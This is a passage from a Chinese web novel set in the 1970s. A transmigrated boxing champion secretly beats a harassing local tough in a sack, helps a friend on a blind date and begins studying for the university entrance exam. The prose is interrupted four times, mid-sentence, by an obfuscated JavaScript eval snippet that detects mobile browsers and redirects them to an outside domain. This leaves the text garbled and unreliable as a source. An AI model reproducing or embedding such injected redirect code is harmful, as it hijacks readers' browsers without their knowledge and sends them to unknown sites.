要么说原身的脸长得好呢,这样将脸全部露出来、没有一丝发型修饰的扮相,也能看出六七分颜色的,平时那就是九分十分的美人儿。出来真是看呆了不少人,特别是一群在澡堂外面溜达的顽主,见了更是一个劲儿吹口哨,让关百钺恨不得扇自个儿嘴巴子,提什么洗澡?!这下好了,惹来了群狼。 章砚臻和关百钺心思差不多,瞪了这群不知天高地厚的小子几眼,站在闺女媳妇儿面前挡住视线。 魏雪和叶宛如可不怂,魏雪对着关百钺道:“哥,你先送嫂子回家,我来对付这帮孙子!” 叶宛如哼一声,率先指着人开骂:“季长善,你特么没事儿干是吧,守在澡堂子边儿上想干嘛?小心我告你耍流氓。” 人群里一个看着不足二十岁的小伙子,嬉皮笑脸的:“叶大小姐,我们看的又不是你,你急什么?去告啊,还怕你不成。” “就是,澡堂边儿上谁不能呆?这是你家开的不成,你家住海边儿啊,管得还挺宽?” 章清云深深看了那人一眼,这才拉了拉章砚臻的袖子,轻声道:“走了,爸,别跟这些人一般见识。” 章砚臻哼一声,依旧挡在闺女面前,一步步往前挪。 还不到下午三点,一行人溜达着回去。洗澡是个消耗体力的活儿,路过供销社时,关百钺跑进去买了半斤的大白兔,一边儿吃着一边往回走。 等第二日关百钺来接章清云下班时,才问起澡堂的事儿。他小心打量着章清云,开口道:“遇见叶宛如了?” 章清云点点头:“恩,她跟小雪一起洗澡的。她俩关系不错?” 关百钺低声解释:“以前一般,不过叶宛如不是和高武谈着呢嘛,估计是因着这层关系,跟小雪热络起来的。小雪没什么心眼,肯定是被叶宛如忽悠住了。” 他掏出魏雪给的糖票还有一张副食品票,道:“这张是叶宛如给的,不知道她想做什么。” 章清云自然也猜不到,示好?缓和关系?反正接触不多,以后碰到的时候多留意就是了,出口安慰关百钺道:“别担心小雪,她不是也要上班嘛,出去的时间也不多,应该不会出什么事儿的。大不了以后出去多带着小雪。” 关百钺可不想约会带着别人,脑子里思考着怎么处置魏雪,一时没说话。 章清云却觉得不对,她没什么表情地朝侧后方瞄,看到两个偷偷摸摸往这边看的小子。章清云转了转眼珠子,提议道:“听说冰场开了?咱们去冰场滑冰吧。”只有在冰场,顽主才最多,打架也最常见。她混在里面偷摸对付几个人,想来是能混人耳目的。 关百钺抬头去看章清云,这才察觉不对。清云不是会主动去冰场的人,这是遇到事儿了? 章清云抬手假装给他整理衣服,低声道:“有人跟着咱们。东边儿五点钟方向,别看,去冰场,那边儿顽主多,打架能糊弄人。” 关百钺却不答应,他说:“不行,太危险了!你不知道这时候的顽主,打起架来有多狠!三菱刀、弹簧锁都是轻的,还有些拿家里的日本军刀出来的,你一个人赤手空拳的,怎么跟那么些人斗?” 见章清云瞪眼,关百钺丝毫不为所动:“不行就是不行!拳击冠军也不行。那是比赛,是有规矩的,但是打群架谁给你讲规矩?别瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338903|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,我不会答应的。” 章清云轻哼,关百钺哄道:“好了,交给我,我来收拾他们。肯定是昨天洗澡遇见的那批人,放心,无外乎这几个大院的,我打听打听,明儿就收拾了。走,今儿就不在外面吃了,先送你回去。” 说着不由分说地伸手去推章清云,边走边哄,还去供销社买了糖果,这才将人哄好。 等到了三叉树胡同,他也不进章家了,匆匆忙忙去找人。 谁呢?卢建设和沈爱军。 先说沈爱军。前几天和洪安娜举行了婚礼,他和章清云还随了礼。沈爱军家老爷子还在,在部队大院很有面子,沈爱军又会做人,不管年轻的还是年老的,都肯给沈家面子。 跟沈家借势,是最大的原因,当然了,还有一个原因,那就是这人和沈爱军有些仇。 也不是什么大事儿,这人曾经追求过安娜姐。去年冬天的时候,也是在冰场,这人缠着洪安娜一起滑冰,洪安娜的性子怎么可能答应?呛呛起来,正好沈爱军那天也在,英雄救美,两人也是因此才看对眼儿的。说起来,这人可以算是沈爱军和洪安娜的媒人。 人呢,叫季长善,是革委会另一个副主任的儿子。跟卢建设不一样,这人是个闹腾的厉害的,不仅混顽主圈子,还混红袖章的圈子。那次之后,季长善又找了几次沈爱军的麻烦,好在部队大院的人心齐,季长善没算计成。 当然了,这也是还要找卢建设的原因,季副主任和卢副主任不对付!能有机会对付季长善,想来卢建设不会拒绝。 关百钺先去找了卢建设,因最近带着卢建设做事儿,还是能学着技术的实事儿,卢父卢平对关百钺很是客气,听说找卢建设有事儿,问都不问,就让两人出去了。 都出门儿了,卢建设才问:“哥,出什么事了?你可不常去我家。” 关百钺脸色异常严肃,低声道:“先去爱军哥那儿,一起说。” 这边关百钺去找帮手打听季长善的事儿,那边章清云则直接去了冰场。章清云可不是等着男人保护的性子,之所以没跟关百钺争论,是看这男人没工夫,怕打起来再伤着他。她的拳击冠军可不是白得的,哼,先甩开他,她章清云单独行动足矣。 她也不是不听劝的,既然知道打群架危险,那就把人引开,到偏僻的角落,没其他人了,再套麻袋动手。一举两得,既揍了人,又不暴露身份。 在脑子里计划好,这日吃过晚饭,章清云便以要去找程紫鹃,可能晚上要住在程家为由,出了家门。 去哪儿呢?冰场。那群人在澡堂外守着,为啥的?还不是为了看姑娘。这年头哪里的姑娘又多又好拍?冰场要说第二,就没场合是第一了。 也是冬天里娱乐少的缘故,冰场是顽主们必去的地方,有些上瘾的天天去的都有。章清云出来时,特意穿了灰扑扑的大棉袄子和黑布鞋,土的掉渣的那种,低着头很快到了冰场。 36. 套麻袋果断动手 巧了,今儿是青江冰场开门的第一天,场上灯光璀璨,《溜冰圆舞曲》欢快地播着,少男少女们嘻嘻哈哈笑作一团,有排成长龙满场子乱飞的,有技术好的个人旋转跳跃的,场面十分的热闹。 章清云用围巾挡住脸,目光在冰场里皴寻。 通过衣物,能很明显地区分哪些是大院子弟,哪些是大杂院出来的。大院子弟们的衣物鲜亮,鲜少有补丁,而大杂院出来的呢,大多灰扑扑的,即使已经穿上了最好的衣服,也能看出一两处补丁。 章清云在衣裳鲜亮的人堆里找,很快看到了目标,这才花钱租了冰鞋,开始慢悠悠滑起来,时而踉跄两下,看起来并不熟练。 目标人物正围着两个姑娘转圈儿呢,穿着冰鞋滑得时快时慢,一会儿倒着滑,一会儿压着身子飞速往前冲,脸上嬉皮笑脸的。旁边的小弟们配合着吹口哨,能够很明显能地看到,两位姑娘眼里的怒火,约莫是碍于对方人多,不敢发作。 章清云咬了咬牙,这种将下作当成情趣的人,早该教训教训了。她加快速度,想滑快又失控的样子,嘴里哎呦哎呦的叫唤:“让一让,让一让,要摔了,让一让......”朝着前面两个小弟的方向滑去。 “哎呦,我说你个土老帽,会不会滑啊?”一名小弟堪堪躲过,指着被两名姑娘扶住,好不容易站稳的章清云骂,“丫穿成这样也敢来冰场?滚,不然老子打死你。常碧云,你放开她,让她滚。” 常碧云才不呢,她赶紧开口:“你这人怎么这样?哪儿有男人嚷着要打女人的?还顽主呢,连胡同的混混都不如。” “就是。”旁边的另一名女生叉腰道,“季长善,我和碧云是来学滑冰的,不想跟你去看电影,你去找别人吧。我们要送这位姑娘回家,碧云,咱们走。” “别介啊。”季长善滑到三人面前,挡住路,嬉皮笑脸道,“碧云,我替小林给你道个谦,小孩子家家的,不懂事儿,你这么个好同志,就不要跟他一般见识了。这样,不是想学滑冰吗?哥免费教你,保证你今晚就能满场飞,怎么样?” “不怎么样。”常碧云不肯松口,扶着章清云的胳膊微微用力,她说,“我已经会滑了,只是还不熟练而已,不需要教练。谢谢你的好意,可以让开了吗?我们要送这位姑娘回去。” 季长善嘻嘻嘻的笑:“不熟练就再练练嘛,这么急着走做什么。小林。” 他扭头喊那个嚷着要打女人的小弟,吩咐道:“你和小孙送这位姑娘回去,还有,给这位姑娘道歉。冰场开门营业,谁都可以来滑。哪儿能因为人家穿得不好就瞧不起?你这样可不好,快,道歉。” 小林十分抹得开面子,闻言嘻嘻笑道:“这位姑娘,您大人不记小人过,就当我刚才在放屁,走,我送你回去。哪儿能让碧云嫂子送你,是不是?还是我们大男人送人更方便。”说着不由分说地就要上手扶人。 章清云能让他得手?她早站稳了,常碧云扶着她,只不过拿她当借口,想离开罢了。虽然没跟她商量,可罪魁祸首是面前的三个人,章清云也不以为意,开口道:“不用你送,我刚进来还没十分钟呢,如今走了可不划算。” 声音竟是出奇的好听,黄鹂鸟一般,季长善多看了这土妞儿几眼,只见土妞儿用围巾挡着脸,带着雷锋帽,露出来的眼睛、耳朵细腻洁白,他挑挑眉,开口道:“姑娘贵姓啊?没听过你的名号啊。”这要是位美人儿,他们这些顽主不可能不知道。 章清云待要说话,右侧突然滑来一个小弟,还没到呢,就兴奋地大喊:“季哥,那边,那边来了个白天鹅,好像是芭蕾舞团的,长得可带劲了,走啊,去看白天鹅。” 他看向章清云三人,面露鄙夷道:“季哥,你没见,人家那姑娘长的,甩这三个丑小鸭三条街。别在这儿浪费时间了,咱们去那边儿看看,不然就便宜部队大院儿那群孙子了。” 季长善收回目光,看不清土妞儿的样貌,又被小弟嘴里的‘白天鹅’说的心动,干脆嬉笑着道:“碧云,哥哥有事儿,就先走了,明儿再教你滑冰啊。” 常碧云哼一声,低声骂道:“流氓。” 季长善吹了声口哨,边倒着滑边调笑:“流氓可是我小名儿,这你都知道,可见咱俩还是有缘分。说好了,明儿冰场见,不见不散啊。”说着哈哈笑了两身,随即转身,一阵风儿似的滑走。 等人走远了,常碧云和同伴才放开搀扶章清云的手,常碧云尴尬地笑笑,道:“姑娘,你是来给我和段虹解围的吧?” 章清云笑笑没说话,常碧云接着道:“真是这样啊,姐儿们,局气!这样,我和段虹请你喝饮料,就当是谢你了,怎么样?” 段虹嗯嗯嗯的点头:“就是,姐们儿,都这样了你还能主动来帮我俩,够义气。” 章清云连连摆手:“不用,我就是看不惯那些所谓的顽主纠缠姑娘,现在没事儿了。我刚说的话都是真的,我才来,还想多滑一会儿呢,现在走可不划算。” 常碧云望向段虹,段虹干脆道:“那咱们三个一起滑,还能聊聊天呢。” 章清云可不就想聊天嘛,她点点头,边滑边试探着问:“你们认识刚才那人?” 常碧云嗯了一声:“一个大院儿的,我和段虹来滑冰,谁知道就遇上了。他叫季长善,大院儿有名的顽主,姑娘,你以后见了他躲远点儿,他可比一般的顽主要坏多了。” 段虹也咬着牙:“就是,仗着他爸是革委会副主任,只要遇见稍微好看点儿的姑娘,他都要撩骚两句,忒不要脸了。听说去年还在冰场打群架,就为了一个姑娘......” 章清云咦了一声,十分尽责地捧哏:“他怎么这样啊......” 一个小时滑下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344221|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,章清云已经基本了解了季长善的情况,身上也微微出了汗。常碧云和段虹要离开,章清云也假装滑够了,只不过走出没多久,便言称不同路分开了。实则等人走远了,她拐个弯儿,又返回冰场左近,躲在小巷子里,注意着冰场的动静。 此时章清云才看清,那人口中的“白天鹅”,她并不认识,心里松一口气,看来不是省文工团的,看那身形,八成是下面市里的,和季长善等人相处得还挺愉快。 大概十一点,冰场关门,季长善一伙儿簇拥着那姑娘离开,章清云远远坠在后面,不疾不徐。眼看着季长善将那姑娘送回家,章清云看了看表,十一点半,路上已经没什么行人了,正是下手的好时机。 她从怀里掏出麻袋,又弯腰捡了几个石子儿,快速地来到胡同口。季长善几人刚出来,章清云就利落地出手,只见后面的三个小弟被打中穴位,倒地不起。章清云趁季长善回头看的时机,果断地套了他麻袋。 哼,敢派人跟踪她,踢你一脚。拿下作当情趣,再踢。女人说不喜欢,就是真的不喜欢,还踢...... 季长善嗷嗷直叫:“他么的谁,有种跟老子单挑,套麻袋可不地道。别让老子查出来,不然老子可饶不了你!哎呦,混蛋,你小子踢哪儿啊?孙子,你等着,等老子......” 章清云才不怕呢,只不过这人叫的太大声,她又朝着几个不致命但十分疼的地方狠狠踢了几脚,这才一溜烟儿跑了。 等季长善终于挣脱了麻袋,转着脑袋四处找人时,哪里还看得到章清云的身影。他恨恨地踢了脚墙根儿,见小林几个还昏迷着,没好气儿地踉跄着过去将人踢醒。因着身上哪哪儿都疼,等人醒了,季长善靠在墙上,喘着气吩咐道:“送......送我去医院,快。” 且不说季长善如何在医院大呼小叫,另一边,章清云回到家,大杂院的门自然是关了的。大冬天的,她也不能在外面站一宿啊,蹭蹭蹭助跑,跳上墙,轻巧地落地,开门回屋睡觉。 翌日章砚臻等人见她回来了,那个吃惊啊,章清远叫:“姐,你什么时候回来的?不是说晚上不回来吗?” “十点五十,我回来的时候大家都睡了,就没叫人。”大杂院十一点锁院门,而院里的人家,大多十点半就睡了。也就东倒座房的董婶儿,晚上要糊火柴盒赚外快,睡得晚,不过最迟十一点半也睡了。章清云昨晚回来的时候都快凌晨一点了,自然是谁也不知道她回来了。 鉴于之前闺女从来没撒过谎,章砚臻和陈静都没怀疑。吃过早饭,众人该上班的上班,该上学的上学。 只不过另一个角落里,亲自去季长善家拜访的关百钺、沈爱军和卢建设三人,并没有见到人,反而听说了季长善被打住院的消息。三人出了季家没耽搁,立刻去了医院,见到了躺在病床上,哎呦哎呦直喊疼的季长善。 37. 探病与冰场事后 三人忍住笑,沈爱军年纪最大,憋着笑率先开口:“长善,这是怎么了?被人下黑手了?哎呦呦,看这打得还不轻,这是得罪什么人了吧,啧啧。伤哪儿了,没后遗症吧?” 季长善哪里想到这三人会来,深觉丢了面子,忙收敛神情,臭着脸道:“什么下黑手,我这是走路不小心摔倒了,摔的。” 他瞥了三人一眼,没好气儿道:“我说你们三个干什么来了?特意来看我笑话是吧?” 沈爱军消息多灵通啊,他说:“昨晚是不是和常胜那小子打架了?”洪常胜是沈爱军的小舅子,今年十六岁,今年刚高中毕业。大小伙子没事儿干,可不就喜欢去冰场那种地方。今早听说被人揍了,洪安娜气哼哼地回去看人,季长善又躺在病床上,发生了什么事儿还猜不到吗? 季长善哼一声:“你沈大公子的小舅子,我怎么敢动手?也就打断了一根肋骨,你可别心疼。” 吹牛,沈爱军也不拆穿他,接着调侃:“哎呦,那常胜这小子有长进,肋骨都断了,还能把你打入院,功夫不错。一会儿见了常胜,我可得好好夸夸他。” 季长善怒了,嗷嗷叫:“老子这样,才不是洪常胜打的!老子是被人暗算了,暗算你懂吗?个不要脸的,敢套老子麻袋!别让老子查出来是谁,老子非出了这口气不可。”咬牙切齿的。 季长善伤了,那他们计划的事儿这时候也不好再提,三人又调侃了几句,这才离开。也没走,而是去医生那边,问了季长善的伤势。 医生看着不到四十,见三人问也没瞒着,推了推眼镜,平铺直叙道:“轻伤,不过伤的地方有些特别。动手的人该是对人体构造十分了解,下手的部位都是不致命但很疼的,例如腰、膝盖、会阴等处。” 关百钺心里咯噔一下,难道是章清云出的手?这种不说话直接干仗的性子,打人专往那些地方招呼的行事,越听越像她。关百钺气得咬牙,这是明面儿上不跟他说,暗地里什么也没少做啊。 三人出了医院,卢建设开口道:“爱军哥,百钺哥,季长善都住院了,咱那计划还实行吗?” 什么计划呢?无非是借力打力罢了。季长善蹦跶的欢,那就用另一个团伙,去制衡他。 关百钺昨晚联络两人,就是为了商量另一个团伙的人选,让那帮人牵制季长善,以致没时间没经历再瞎蹦跶。 谁呢?洪安娜的弟弟洪常胜呗,因着洪安娜和季长善的纠葛,两人本来就有点儿小仇,相信不用他们怎么挑拨,两帮人就能打起来。他们还可以隐在幕后,给洪常胜出谋划策,早些打趴下季长善。 没想到还没动手呢,两拨人先遇上了,季长善还住了院。从伤势看,至少十天半个月的,季长善都没工夫去找章清云的麻烦。 沈爱军摆摆手:“不用,两方已经对上了,不用咱们挑拨。行了,我去看常胜,你俩该上班的上班,常胜那边不用去了,那小子年纪不大,可爱面子的很,估计不肯让人知道他被人打了。” 关百钺和卢建设自然知道,摆摆手离开。 上班时间呢,也不能这时候去找章清云,关百钺收着性子,先去厂子里上班,只等下班了再找章清云问清楚。 章清云可不知道这些,她在文工团干嘛呢?当然是跟程紫鹃通个气啦,以免哪天这妮子去她家说漏了嘴。 正中场休息呢,不等她开口,程紫鹃率先说话了:“清云,周日我要去相亲,你跟我一起去吧?” 章清云不可置信地指着自己:“我跟你去?你确定?” 程紫鹃心里有数着呢,她说:“确定。你长得这么好看,谁站你旁边都会被比下去的,我就是要看看这男人咋样,要是见了你还能跟我聊下去,那这人的人品就还过得去,也不是不能考虑。” 章清云来了些兴趣,挑挑眉:“怎么,这人条件还行?你想试试?” 程紫鹃嘿嘿嘿的笑:“家里开着跌打损伤的医馆,公私合营嘛,他家拿着分红呢,市区有单独的院子。加上他爷爷是保健科的医生,在医院家属院也有房子。” 那这条件是不错,章清云也不推辞,笑着道:“你想好了就行,要是下班了还是这想法,周末我就陪你去。” “太好了,我都想好了。”程紫鹃往嘴里塞了一颗大白兔,拿起一颗递给章清云,道,“你、可云,就连苗盼儿都有男朋友了,我当然得抓紧了。好在咱们文工团,找对象还是很容易的。” 都是年轻漂亮的姑娘,可不好找嘛。说到这里,程紫鹃左右看了看,小声道:“清云,你知道不?市文工团的一个演员,昨儿去冰场玩,听说惹得两帮顽主打群架呢。就我们院儿的一个叫季长善的顽主,听说因着她,被打得住院了,没有十天半个月的都出不了院。你说这事儿闹的,一会儿团长肯定要唠叨。” 真被程紫鹃说着了,再次集合时,周文芳和向党都来了,向党依然严肃着一张脸,开始教训人:“别的团我管不着,但是咱们团的人,都不能去冰场,听见没?你们是舞蹈演员,最重要的就是腿脚。每年冰场有多少人摔断腿,你们知道吗?” 队员们憋嘴不说话,向党继续道:“沉默反抗也不行!你们真正在台上的时间能有几年?跳到二十五岁顶天了吧?要是中间有个伤病休息的,你们自己算算,能上台的时间有多少?就是脱臼这样的轻伤,不休息半个月,谁能放心让你们上台?更别说摔断腿了!我是为了你们的艺术生命着想,你们自己好好想想。当然了,要是有人觉得进文工团的意义,就是找个好男人嫁了,那当我没说!” 说完,她严厉地扫向众人,看得众人都低下头,这才哼一声,扭头对周文芳道:“好了,继续训练吧。” 等向党离开了,周文芳才开口:“团长的话,你们仔细琢磨琢磨。要是喜欢滑冰,等你们不上台了,天天去都没人管。可你们还是演员,还要上台演出的,那你们的身体,就不能不当回事儿。好了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351163|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 训练吧。” 队员们彼此对视一眼,沉默地开始踢腿旋转。等中午吃饭的时候,才三三两两地小声嘀咕。 有人说:“挑不了大梁,连冰场都不能去,管得也够宽的。” 有人猜测:“是不是出什么事儿了?平时团长也不管这些的。” 姚燕妮低声将昨晚的事儿说了,安慰道:“也不怪团长,那些顽主没事儿干,最喜欢去的地方就是冰场。昨晚打架的双方还都是有身份的,这几日冰场肯定管得严,大家不去也好。” 为了转移话题,她捅了捅身边的王梅,笑着道:“梅姐,你这周是最后一周了吧?下周就去钢铁厂上班了,怎么,去高就了,也不跟我们告别,请吃个饭什么的?” 王梅还在想姚燕妮嘴里的‘有身份’到底是什么身份呢,被打断也不恼,她笑着回:“要请这么多人,我可请不起。这样,明儿周六,最后一天,我从家带一兜糖,每人送一小把,算是留个念想。大家以后别忘了我才行。” “切。” 章清云留意听姚燕妮的话头,中间并没有提到她,心这才彻底放下,跟程紫鹃对坐着吃饭。下班时,见了关百钺,章清云也没放在心上,与以往一样笑着迎上去:“走吧,去供销社看看有没有布卖,快冬天了,小远长得快,得重新做个棉袄才行。” 关百钺点点头,等走出去一段儿了,才说:“你昨晚是不是去冰场了?” 章清云咦了一声,还想否认来着,瞥见关百钺眼神儿严厉,到嘴边的话便说不出口了。 关百钺那个气啊,他指着章清云,又是转圈儿又是气哼哼的喘气,最后来了一句:“胡闹!” 见真把人气着了,章清云也不推脱,干脆承认错误:“是我不对,我不该瞒着你单独行动。百钺,你别生气了,下次行动前我一定告诉你,好不好?” “还有下次?”关百钺哼了一声,“艺高人胆大是吧?我说什么来着,那帮孙子打架可不是闹着玩的。昨晚受伤的都有两个,不说季长善,他肯定是你打的。” 见章清云不反对,关百钺继续道:“另一个跟他打架的也受伤了,你知道不知道?这帮人向来仗着人多,下手从不留情,你......要是还有下次,我可跟你没完!” “好好好,没完。”章清云忍笑,对于从没打过架的秀才,能跟他说什么呢,说她不会受伤?说了他也不会信啊,那就只能先答应着,哄哄他了。 见关百钺说完了,章清云耸耸肩道,“那关大公子,咱们能走了吗?你小舅子冬天的棉袄还没着落呢,布料、棉花都得买,咱们今儿任务还挺重的。” 关百钺哼一声:“家里有我爸妈寄来的军大衣,明儿我给你送两件过来,不用特意去买了。”去了也买不着,都这个时间点了,要是有布料,早被不上班的大爷大妈抢购完了,还能轮到他们? 章清云没拒绝,这年头军大衣可是顶时髦的穿着了,章清远肯定高兴。 38. 相亲与一起备考 可不高兴嘛,翌日穿上到脚踝的军大衣,章清远恨不能一蹦三尺高,一声声地叫关百钺哥,亲哥。陈静说太大了,先改改再穿,人家非不,饭也不吃,穿着就出去嘚瑟,等大家都吃完晚饭,关百钺起身准备回去了,这小子才回来。 关百钺叮嘱:“在家里附近,一个人这样穿着出去没啥,去了陌生地方可不行。这年头扒人衣服的顽主也不是没有,特别是扒军大衣的,可不少,听见没?” 章清远挠着头嘿嘿笑,点头如捣蒜的,见关百钺要走,也不急着吃饭,点头哈腰地准备送人,被关百钺按在椅子上:“吃你的饭吧,我又不用送。”摆摆手,径直离开。 周末一早,章清云睡到九点才起,吃过早饭,大约十点半吧,到了新华书店,程紫鹃今儿就跟人约在这里见面。媒人给两人的接头方法是,右手拿着当天的《人民R报》,左胸衣服上别一帕黄色手绢,只要见到这个打扮的,就是相亲的。 程紫鹃一身红白格子的连衣裙,配米色皮鞋,两条辫子很自然地垂在胸前,左胸的手绢明显是新的,显见是刻意打扮过的,见了章清云还有些不好意思,不自然地道:“那咱们走?” “走。”章清云也不戳破,任由程紫鹃挽着她的胳膊,推开了新华书店的门。 书店里,一名年约二十二岁的小伙子,一直紧张地盯着门口,听到动静抬头,见到章清云,眼睛里的惊喜迸射而出,不自觉露出笑容。脚步都迈出去了,很快皱了皱眉,不是她,该是她旁边的姑娘才对。《人民R报》、黄手帕,都对上了。好在这姑娘也不丑,亭亭玉立的。 青年低头笑笑,起身朝程紫鹃走去,等站到二人跟前,章清云也看清了,年轻人长得不算多好,国字脸,眼睛不大,好在鼻子高挺,给样貌加分不少。身高应该有一米七五上下,站在穿着低高跟的程紫鹃跟前,只稍微高那么一点。 只听年轻人道:“是程紫鹃同志吧?我是刘念东,孙婶子介绍的。”说着伸出手。 程紫鹃抿嘴笑了笑,伸出手跟刘念东握在一处。章清云十分的有眼色,她道:“我去看看有没有新书,你们聊。” 等到书架前了,偷眼去看,两人聊得还算和谐,章清云也不闲操心了,认真看起书来。说起来,她上辈子最想做的,其实是上大学,读文学系,然后写文章,成为一名作家。可惜十岁被选入体校,为了将来过好日子,便将这个理想放下了。如今重活一辈子,七七年恢复高考的时候,她也才二十五,正是读书的好时候,何不将理想重新拾起来? 帮助原主实现愿望,跳成台柱子,她已经在做了,等七六年运动结束,文工团该是没什么演出了,那时候生孩子同时读书复习备考,什么都不耽误,不是正好? 越想越觉得这么安排好,章清云开始在书架里翻找,试图找到高考相关的书籍。可惜高考都取消四五年了,这些书根本找不到。看来还得找关百钺想想办法,他家是科研大院的,父母又都是大学生,应该会有书的。 正想着呢,程紫鹃来打招呼了:“清云,走,吃午饭去。” 章清云没说要去,反而问道:“哟,都请吃饭了,这是聊得还行?” 程紫鹃脸微红,点点头道:“他这人倒还挺踏实的,目前在医院跟他爷爷实习呢。我想着,他爷爷是保健医生,见的都是领导,既然能带着他,那就说明他没有什么不妥当,不然他爷爷也不会带他了。” 是这个道理,能用保健科医生的领导,哪个不是人精?在他们面前做戏,就算一时被骗了,也必是不会长久的。章清云这才道:“那就行,你俩去吧,我可不做电灯泡。你俩好好聊,我走了。” 不等程紫鹃再挽留,摆摆手径直离开。 关百钺家自然是有书的。章清云从书店出来后没回家,直接去了科研大院找关百钺,看看有没有高考相关的书。 怎么可能没有,关盈钺当年还参加过高考呢,当时用的复习资料、高中的课本都还留着,见到这些,章清云心里松了一口气,道:“借给我看看。我......” 关百钺笑着问:“想参加高考?” 章清云点点头,脸微微有些红,吞吞吐吐地将上辈子的理想说了,她问:“你说行吗?我上辈子要练拳,文化课其实没怎么学,穿过来这个原主呢,又是如今这个环境下长大的,初高中都没学什么东西,净学农学工了。要是想参加高考的话,这时候就得断断续续学起来。” 关百钺自然支持了,他两辈子都是学霸,很自信地拍胸脯:“行,怎么不行,尽管学。有什么不明白的问我。” 他的眼神儿扫向课本,想了想,起身在书柜里翻找出几张白纸,道:“包个书皮,以免被人看到了。” 章清云嗯嗯嗯地点头,珍惜地摸着这些课本。没想到穿越一场,她还圆梦了。章清云很快道:“书本也不用拿回去了,家里住大杂院,不方便。以后每天下班先来这里学一个小时再回去吧。没事儿,我会跟爸妈说的。” 关百钺自然同意。两人合力包书皮,外面北风呼啸,屋内暖意融融。 天气逐渐变冷,户外的演出都取消了,整个十月、十一月,省文工团都只接户内的演出邀请。从刚开始的两组随机交替演出,到后来有人指名道姓地让章清云主演,已经是十一月末了。青江断断续续下了三场大雪,夜里最低温度能到零下二十七八度,北风呼呼的吹着,刮到脸上生疼。 关百钺一身儿军大衣,大冷的天儿敞着怀,戴着羊剪绒帽子,推着自行车等在文工团外面。今儿章清云只演半场,下午四点就能离开,两人有近一周没见,冒着风雪,关百钺早早就到了。 章清云很快出现在门口,脸上挂着明媚的笑。自从打算参加高考以来,两人很少分开这么长时间,每日都要在一起学习至少一个小时的。此时一周没见了,当然不习惯,她小跑过去,笑着低声道:“等急了吧?煤厂发了可多补助。走,国营饭店,我请。” 煤厂是如今最富的单位了,指名邀请章清云去演出,连演七天。看在补贴丰富 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355808|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的份儿上,章清云没有拒绝的道理。 关百钺也没争辩,国营饭店并不远,两人推着车慢慢走。关百钺开始说婚礼的事儿:“我爸妈说那天会发电报过来,给咱们贺喜。” 这要是放在别人家,结婚了公公婆婆都不到场,女方家能同意才怪。也就是关父关母工作单位特殊,章砚臻和陈静没办法挑理。不过对于准备婚礼的关盈钺来说,也知道委屈了章清云,是以什么都准备的是最好的。今儿吃完饭,两人就准备去关家看看新房的布置。家具摆设要是不合心意,还有时间换。 章清云笑着道:“伯父伯母还是这么有仪式感。”她在关家见过关父关母的照片,男人一身笔挺的长衫,温文儒雅,女人穿着得体的旗袍,巧笑嫣然,说是一对儿璧人也不为过。 关百钺笑笑没说什么,问起了演出的事儿:“姚燕妮没找你麻烦吧?” 自从有单位指名邀请章清云演出,算是得罪了姚燕妮,特别是煤厂这种油水多的单位,每次都是章清云挑大梁,姚燕妮能服气?刚开始的和气好相处也不见了,最近开始在文工团搞起了小团体,企图孤立章清云。姚燕妮家境不错,大家自然扒着她。最近一个礼拜,团里也就程紫鹃天天和章清云说话,苗盼儿还是老样子,偶尔搭理章清云。除此之外,其他人见了章清云,理都不理。 章清云切了一声,十分的不在意:“我最看不起搞小团体这一套了,没事儿,我可是孤儿院长大的,会怕这个?就是有些连累程紫鹃,以前她人缘还不错的。” 关百钺提议道:“要不我找爱军哥......”沈爱军算是姚燕妮的表哥,说话应该有用。 谁知章清云摇摇头:“不用,我不在乎这些的。你也知道,我其实对跳舞兴趣不大,只不过这是原主的执念,我尽力帮她完成罢了。等时间到了,我就去读书,真正为自己活一次。” 关百钺点点头,两人锁好自行车,很快去国营饭店吃晚饭。大冬天的喝一碗热乎乎的羊肉汤,从里到外都熨帖,出来骑车回关家的时候,都不觉得冷了。 